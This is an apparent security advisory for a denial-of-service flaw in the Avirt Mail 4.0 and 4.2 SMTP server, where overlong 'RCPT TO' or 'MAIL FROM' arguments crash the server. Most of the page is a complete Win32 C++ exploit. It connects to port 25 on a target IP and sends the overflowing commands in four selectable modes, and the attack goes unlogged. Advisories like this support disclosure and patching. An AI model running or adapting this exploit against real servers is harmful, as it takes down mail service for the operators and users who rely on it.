Brought to you by:
Suppliers of:
When connecting to port 25 (SMTP) on a computer running Avirt Mail , it is possible to crash the server by supplying an unusually long "from" or "recipient address". The crash only occurs when the connection to the client is closed (when the server tries to free the allocated memory).
Credit:
The information has been provided by Martin .
Vulnerable systems:
Avirt Mail 4.0 (build 4124)
Avirt Mail 4.2 (build 4807)
RCPT TO DoS:
If 272 or more characters are supplied after "RCPT TO:" the server will crash as soon as the session is closed and no more connections will be allowed until the server has been restarted. Avirt Mail will not log the attack.
MAIL FROM DoS:
If 556 or more characters are supplied after "MAIL FROM:" there are two possible outcomes:
1. If "RCPT TO:" and "DATA" commands are appended, the server will not crash, the server will store the message with the search-path to the SMTPOut directory at the end of the FROM-line. If a real TO-address is used, this will be processed as a normal mail. No exception log will be made.
2. If the session is aborted directly after the "MAIL FROM:" command, the server will crash without logging the attack and no more connections will be allowed before the server is restarted.
Exploit:
/*
Small piece of code demonstrating DoS vulnerability in Avirt Mail 4.0-4.2
wersion@trust-me.com
Win32 console code
*/
#include <mem.h>
#include <winsock.h>
#include <iostream.h>
#include <stdlib.h>
#define RCPT_SIZE 272
#define FROM_SIZE 556
struct sckssString
{
char *szBuffer;
int nSize;
};
char szHELO[] = "HELO anonymous";
char szMAIL[] = "MAIL FROM: ";
char szRCPT[] = "RCPT TO: ";
char szQUIT[] = "QUIT";
char szDATA[] = "DATA\nTest data\n.";
void socksenddata(int socket, sckssString* data)
{
if(send(socket,data->szBuffer,data->nSize,NULL)!=SOCKET_ERROR)
{
cout << "->" << data->szBuffer << endl;
return;
}
else
{
cout << endl << "WSA error (" << WSAGetLastError() << ")" << endl;
exit(1);
}
}
void socksendendline(int socket)
{
if(send(socket,"\n",1,NULL)!=SOCKET_ERROR) return;
else
{
cout << endl << "WSA error (" << WSAGetLastError() << ")" << endl;
exit(1);
}
}
void socksendanum(int socket, unsigned long int num)
{
char *tempa = new char[num+1];
memset(tempa,'A',num);
tempa[num]=0;
if(send(socket,tempa,num,NULL)!=SOCKET_ERROR)
{
cout << "->" << tempa << endl;
return;
}
else
{
cout << endl << "WSA error (" << WSAGetLastError() << ")" << endl;
exit(1);
}
delete[] tempa;
}
int main(int argv, char **argc)
{
if(argv<3)
{
cout << "Usage: " << argc[0] << " ip-address type" << endl;
cout << "Types:" << endl;
cout << "1 - Overflow in RCPT TO: command. (aborted session)" << endl;
cout << "2 - Overflow in MAIL FROM: command. (aborted session)" << endl;
cout << "3 - Overflow in RCPT TO: command. (finnished session)" << endl;
cout << "2 - Overflow in MAIL FROM: command. (finnished session)" << endl;
exit(1);
}
WORD wVersionRequested = MAKEWORD(1,1);
WSADATA wsaData;
WSAStartup(wVersionRequested, &wsaData);
SOCKADDR_IN saExploit;
saExploit.sin_family = PF_INET;
saExploit.sin_addr.s_addr = inet_addr(argc[1]);
saExploit.sin_port = htons(25);
SOCKET sckExploit = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sckExploit == INVALID_SOCKET)
{
cout << "WSA error (" << WSAGetLastError() << ")" << endl;
WSACleanup();
return 1;
}
if (connect(sckExploit,(LPSOCKADDR)&saExploit,sizeof(saExploit))==SOCKET_ERROR)
{
cout << "WSA error (" << WSAGetLastError() << ")" << endl;
shutdown(sckExploit,2);
closesocket(sckExploit);
WSACleanup();
return 1;
}
sckssString sckssHelo;
sckssHelo.nSize = strlen(szHELO);
sckssHelo.szBuffer = new char[sckssHelo.nSize+1];
strcpy(sckssHelo.szBuffer, szHELO);
sckssString sckssMail;
sckssMail.nSize = strlen(szMAIL);
sckssMail.szBuffer = new char[sckssMail.nSize+1];
strcpy(sckssMail.szBuffer, szMAIL);
sckssString sckssRcpt;
sckssRcpt.nSize = strlen(szRCPT);
sckssRcpt.szBuffer = new char[sckssRcpt.nSize+1];
strcpy(sckssRcpt.szBuffer, szRCPT);
sckssString sckssQuit;
sckssQuit.nSize = strlen(szQUIT);
sckssQuit.szBuffer = new char[sckssQuit.nSize+1];
strcpy(sckssQuit.szBuffer, szQUIT);
sckssString sckssData;
sckssData.nSize = strlen(szDATA);
sckssData.szBuffer = new char[sckssData.nSize+1];
strcpy(sckssData.szBuffer, szDATA);
cout << "Beginning session..." << endl;
switch(atoi(argc[2]))
{
case 1:
{
socksenddata(sckExploit,&sckssHelo);
socksendendline(sckExploit);
socksenddata(sckExploit,&sckssMail);
socksendanum(sckExploit,5);
socksendendline(sckExploit);
socksenddata(sckExploit,&sckssRcpt);
cout << "Overflowing RCPT TO:" << endl;
socksendanum(sckExploit,RCPT_SIZE);
socksendendline(sckExploit);
cout << "Aborting session before data." << endl;
socksenddata(sckExploit,&sckssQuit);
socksendendline(sckExploit);
break;
}
case 2:
{
socksenddata(sckExploit,&sckssHelo);
socksendendline(sckExploit);
socksenddata(sckExploit,&sckssMail);
cout << "Overflowing MAIL FROM:" << endl;
socksendanum(sckExploit,FROM_SIZE);
socksendendline(sckExploit);
socksenddata(sckExploit,&sckssRcpt);
socksendanum(sckExploit,5);
socksendendline(sckExploit);
cout << "Aborting session before data." << endl;
socksenddata(sckExploit,&sckssQuit);
socksendendline(sckExploit);
break;
}
case 3:
{
socksenddata(sckExploit,&sckssHelo);
socksendendline(sckExploit);
socksenddata(sckExploit,&sckssMail);
socksendanum(sckExploit,5);
socksendendline(sckExploit);
socksenddata(sckExploit,&sckssRcpt);
cout << "Overflowing RCPT TO:" << endl;
socksendanum(sckExploit,RCPT_SIZE);
socksendendline(sckExploit);
socksenddata(sckExploit,&sckssData);
socksendendline(sckExploit);
cout << "Ending session." << endl;
socksenddata(sckExploit,&sckssQuit);
socksendendline(sckExploit);
break;
}
case 4:
{
socksenddata(sckExploit,&sckssHelo);
socksendendline(sckExploit);
socksenddata(sckExploit,&sckssMail);
cout << "Overflowing MAIL FROM:" << endl;
socksendanum(sckExploit,FROM_SIZE);
socksendendline(sckExploit);
socksenddata(sckExploit,&sckssRcpt);
socksendanum(sckExploit,5);
socksendendline(sckExploit);
socksenddata(sckExploit,&sckssData);
socksendendline(sckExploit);
cout << "Ending session." << endl;
socksenddata(sckExploit,&sckssQuit);
socksendendline(sckExploit);
break;
}
default:
{
cout << "Type " << argc[2] << " not allowed." << endl;
break;
}
}
shutdown(sckExploit,2);
closesocket(sckExploit);
WSACleanup();
cout << endl << "Ready!" << endl;
return 0;
}
Please enable JavaScript to view the comments powered by Disqus.
blog comments powered by